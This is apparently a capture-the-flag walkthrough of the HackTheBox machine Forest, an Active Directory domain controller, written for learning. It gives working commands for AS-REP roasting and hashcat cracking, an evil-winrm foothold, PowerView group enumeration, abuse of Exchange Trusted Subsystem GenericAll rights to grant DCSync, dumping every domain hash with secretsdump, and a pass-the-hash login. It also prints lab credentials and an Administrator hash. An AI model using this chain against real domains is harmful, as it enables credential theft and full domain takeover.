In this Walkthrough, we will be hacking the machine Forest from HackTheBox.
We will start with some domain specific enumeration with no credentials, hunting for anonymous access. From there, we will find a quick win as we look for an AS-REP roastable user without even supplying a username. After AS-REP roasting a service account ‘svc-alfresco’, we will crack the AS-REP hash with hashcat and then get a foothold over WinRM.
Once a foothold has been established, we will continue with post-exploitation enumeration, which will lead us to nested groups. After revealing all of the group nesting using PowerView, we will find ourselves effectively in the ‘Account Operators’ group. Since we are a part of the nested groups, we gain full permissions of the Account Operators group, which allows us to create users and add them to groups (excluding Administrators).
Moving ahead, we will hunt for groups with interesting ACEs, where we will find that the Exchange Trusted Subsystem has GenericAll permissions, which means a user of that group can be granted any active directory permissions. From there we will grant the user DCSync permissions, which will allow us to dump all of the DC hashes.
Finally, we will perform a pass-the-hash attack and get a shell as the built-in domain Administrator account.
Initial Scanning
— nmap TCP full —
— UDP Top 1000 —
Review of Open Ports
Lots of interesting TCP ports open; and it was observed that this is an AD machine, and even more specifically a Domain Controller (DC).
- Port 53 is open and is hosting a DNS service over TCP – version: Simple DNS Plus (version unknown at this time)
- Port 88 is open and is hosting the kerberos service.
- Ports 135 / 139 / 445 are open and are hosting the RPC / NetBIOS / SMB share services respectively.
- Ports 389 / 3268 and 636 / 3269 are open and hosting the LDAP/S services respectively
- Port 464 is open are hosting a Kerberos password change service, typically seen on DCs and generally not of much interest.
- Ports 593 is open and hosting RPC services over HTTP.
- Port 5985 is hosting the WinRM service, which will be good if credentials are found.
- Port 9389 is hosting the .NET Message Framing service.
- Port 47001 is open, which is commonly associated with WinRM – Microsoft HTTPAPI httpd 2.0 — Check in browser to make sure its not a web server.
- Ports 49xxx are hosting the high port RPC services.
From the nmap scan we can see this is a Domain Controller with a hostname of FOREST and that this is the DC for the domain htb.local.
Message signing is also enabled on the DC; however, we will not be doing any lateral movement in the example so, that will not be important.
Enumeration and Initial Exploit
Since this is a Domain controller, enumeration will be split into two sections: domain specific service enumeration and regular service enumeration.
Enumerating Services Specific to a Domain Controller
Enumeration will begin by attempting to get a Zone Transfer from the DNS server.
dig @10.10.10.161 AXFR htb.local
The zone transfer attempt was unsuccessful, so next I will move on to the kerberos service.
Targeting the Kerberos service, I tested for a quick No-Preauth win without supplying a username.
GetNPUsers.py active.htb/ -dc-ip 10.10.10.100
BOOM! It looks like a longshot was successful and I was able to reveal an AS-REP roastable service account: svc-alfresco
Generally with AS-REP roasting, you need a valid username. When it comes to AD enumeration, there are three stages of checks: no credentials (anonymous access), valid username with no password, and then valid set of credentials (username + password).
AS-REP Roasting Service Account svc-alfresco
Now I can request the user’s hash and crack it!
GetNPUsers.py htb.local/ -dc-ip 10.10.10.161 -request
Amazing! The service accounts AS-REP hash was dumped!
To learn more about AS-REP roasting, check out my post on the topic here.
Since this is not a standard NTLM hash, I will need to crack it, so I copied it in full and pasted it into a file named hash.txt.
Cracking the AS-REP Hash with Hashcat
Now that the hash is in a file and ready to crack, I used hashcat first to find the cracking mode for this hash type, and then proceeded to crack it.
hashcat -h | grep -i "AS-REP"
hashcat -m 18200 ./hash.txt /usr/share/wordlists/rockyou.txt -o cracked.txt
And in 10 short seconds, the password is cracked.
Checking the output file, I recover the password for svc-alfresco.
svc-alfresco : s3rvice
Great! I was able to get credentials early on and now I can perform much deeper enumeration with an authenticated session to services like kerberos, LDAP, SMB, and WinRM
Getting a Foothold as svc-alfresco
First, I checked if these credentials are valid and what services they can access using crackmapexec
crackmapexec smb 10.10.10.161 -u 'svc-alfresco' -p 's3rvice'
Testing over SMB confirms these credentials are valid; however, I did not see the Pwn3d! message, indicating that command execution is possible through this service.
Next, I checked WinRM access, and sure enough I got the Pwn3d! message.
crackmapexec winrm 10.10.10.161 -u 'svc-alfresco' -p 's3rvice'
This means I will not need to enumerate the other services externally anymore, as a quick win was found and I can now get a foothold using evil-winrm
evil-winrm -i 10.10.10.161 -u 'svc-alfresco' -p 's3rvice'
Post Exploitation Enumeration and Privilege Escalation
Just like the initial enumeration, because this is a Domain controller, post-exploitation enumeration will be split into two sections: domain specific enumeration and regular enumeration.
95% of the time the privilege escalation technique used in a domain will be domain-based.
Domain Specific Post-Exploitation Enumeration
Starting with domain specific enumeration, I grabbed a list of all the domain users with the following command:
net user /domain
Quite a few domain users were listed, so I copied the full list and added it to a file called user.txt and then used Linux-fu to clean it up and put it into a new file called users.txt
cat user.txt | tr ' ' '\n' | sed -r '/^\s*$/d' > users.txt
Next I checked who the domain admins are.
net groups "Domain Admins" /domain
The only DA is the built-in domain Administrator account.
Now that I have gathered some information on the domain users, I want to enumerate the groups.
net group /domain
A lot of non-default groups here; however, a handful stand out such as Exchange groups, Privileged IT Accounts, Service Accounts, and test.
Also, I want to check “local groups” because they become “domain local groups” when domain joined, especially ones on the DC.
net localgroup
Above I highlighted just a few “domain local groups” that you wouldn’t find on, lets say, a non-domain joined Windows machine.
Finding Nested Groups Leading to the “Account Operators” Group
Unfortunately, if any of these are nested groups, I will not be able to tell with the net command. Even if I check my current user, it will only show the groups that the user is a direct member of.
net user svc-alfresco /domain
Here it shows that the current user is part of the Service Accounts group; however, they could be a member of more groups where the Service Accounts group is nested.
Nested groups means groups added to other groups. Instead of adding a user to a group, you can add an entire group to another group and all users in the group being added to the other group will inherit the group permissions.
Since there are limitations with built-in commands, I will use PowerView.ps1 to dig deeper into groups.
Enumerating Groups with PowerView.ps1
After grabbing a copy of PowerView.ps1, I moved it to my working directory. back on the target, I moved to the C:\Windows\Temp folder to setup shop.
A great feature of evil-winrm is that it has a built-in upload function, so I utilized that to upload PowerView.ps1 onto the target, like so:
upload /opt/hackthebox/Forest/PowerView.ps1
Next, I imported the script into my current session using dot-sourcing.
. .\PowerView.ps1
Once imported, I can check all of the possible functions associated with this script using the menu command.
With PowerView loaded up, the first thing I want to look for are all of the groups my current user is a member of.
Get-DomainGroup -MemberIdentity 'svc-alfresco' | select samaccountname
Cool! This shows the current user is part of 3 groups, but I can see “Privileged IT Accounts” here, which I did not see from using the net user command. This means this group is likely nested.
Uncovering Nested Groups with PowerView
Next, to I want to dig into each group to find all nested groups associated with each.
Get-DomainGroup 'Service Accounts' | select samaccountname,memberof
Here I found the first nested group. This says that all users in the “Service Accounts” group are also members of the “Privileged IT Accounts” group.
Now that I found this nested group, I want to check if this group is also nested.
Get-DomainGroup 'Privileged IT Accounts' | select samaccountname,memberof
More nesting! This tells me that all users in the “Privileged IT Accounts” group are part of the “Account Operators” group.
The Account Operators group is actually a domain local group. This is why it did not show up on the list of domain groups.
Since Account Operators is a local group, it is likely that I have hit the end of the line.
Get-DomainGroup 'Account Operators' | select samaccountname,memberof
And this confirms it. This groups is not a member of any other group.
The group nesting looks like this: svc-alfresco >> Service Accounts >> Privileged IT Accounts >> Account Operators
This is actually the best practice for nesting within the same domain, which should be: Users / Computers >> Global Groups >> Domain Local Groups
Understanding the Account Operators Group
Since I hit the end of the nesting trail, l decided to run the same command on the ‘Account Operators’ group except this time I will not select specific fields so that I can get some information about the group.
Get-DomainGroup 'Account Operators'
This is interesting as it indicates that I can administer users and groups.
The Account Operators group grants limited account creation privileges to a user. Members of this group can create and modify most types of accounts, including accounts for users, Local groups, and Global groups. Group members can log in locally to domain controllers.
Members of the Account Operators group can’t manage the Administrator user account, the user accounts of administrators, or the Administrators, Server Operators, Account Operators, Backup Operators, or Print Operators groups. Members of this group can’t modify user rights.
Based on the information above, it looks like I should be able to create a user and add them to a group, just so long as it is not one of the groups listed above.
Hunting for Interesting ACEs
Armed with this knowledge, I want to hunt for a group with interesting ACE’s.
- GenericAll – full rights to the object (add users to a group or reset user’s password)
- GenericWrite – update object’s attributes (i.e logon script)
- WriteOwner – change object owner to attacker controlled user take over the object
- WriteDACL – modify object’s ACEs and give attacker full control right over the object
- AllExtendedRights – ability to add user to a group or reset password
- ForceChangePassword – ability to change user’s password
- Self (Self-Membership) – ability to add yourself to a group
Out of this list, the most interesting ACE is GenericAll so we can start by hunting for ALL groups that have this permission with the following command(s):
$ADSI=[ADSI]"LDAP://DC=htb,DC=local"
$ADSI.psbase.get_ObjectSecurity().getAccessRules($true, $true,[system.security.principal.NtAccount]) | Where-Object {$_.IdentityReference -like "*"} | Where-Object {$_.ActiveDirectoryRights -like "*GenericAll*"} | Where-Object {$_.AccessControlType -like "*Allow*"}
The first two results are not of interest to me because I cannot modify any administrator accounts (SYSTEM included), nor can I modify any administrative group. The “Organization Management” group is an administrative group for Exchange, which means that “Exchange Trusted Subsystem” stands out the most to me.
Abusing GenericAll Privilege on Exchange Trusted Subsystem Group
Since I am part of the Account Operators group, I should be able to create an account and add that account to the “Exchange Trusted Systems” group. And since this group has GenericAll permissions, I should then be able to add my newly created user to this group and then give them either All, ResetPassword, WriteMembers, or DCSync permissions
net user /add pwnt P@ssw0rd /domain
net group /add 'Exchange Trusted Subsystem' pwnt /domain
Perfect, now I want try to grant the user “DCSync” right with the following:
$SecPassword = ConvertTo-SecureString 'P@ssw0rd' -AsPlainText -Force
$Cred = New-Object System.Management.Automation.PSCredential('HTB.local\pwnt', $SecPassword)
Add-DomainObjectAcl -Credential $Cred -TargetIdentity "DC=htb,DC=local" -PrincipalIdentity pwnt -Rights DCSync
Great! it looks like it all worked as I got no errors!
A DCSync attack uses commands in Microsoft Directory Replication Service Remote Protocol (MS-DRSR) to pretend to be a domain controller (DC) in order to get user credentials from another DC.
Dumping all of the Hashes in the DC with a DCSync Attack
Now for the moment of truth. If all worked as anticipated, I should be able to dump all the hashes in the DC with secretsdump.py, like so:
secretsdump.py htb.local/pwnt:'P@ssw0rd'@10.10.10.161
BOOM! It worked!! Now I can simply perform a pass-the-hash attack with the Administrator hash and get the flags!
Initially I tested the same steps as above on the “Organization Management” group first, and it looked like it worked… but when I tried to use secretsdump.py it was not working.
evil-winrm -i 10.10.10.161 -u Administrator -H 32693b11e6aa90eb43d32c72a07ceea6
To learn more about pass-the-hash attack’s, check out my post on the topic here.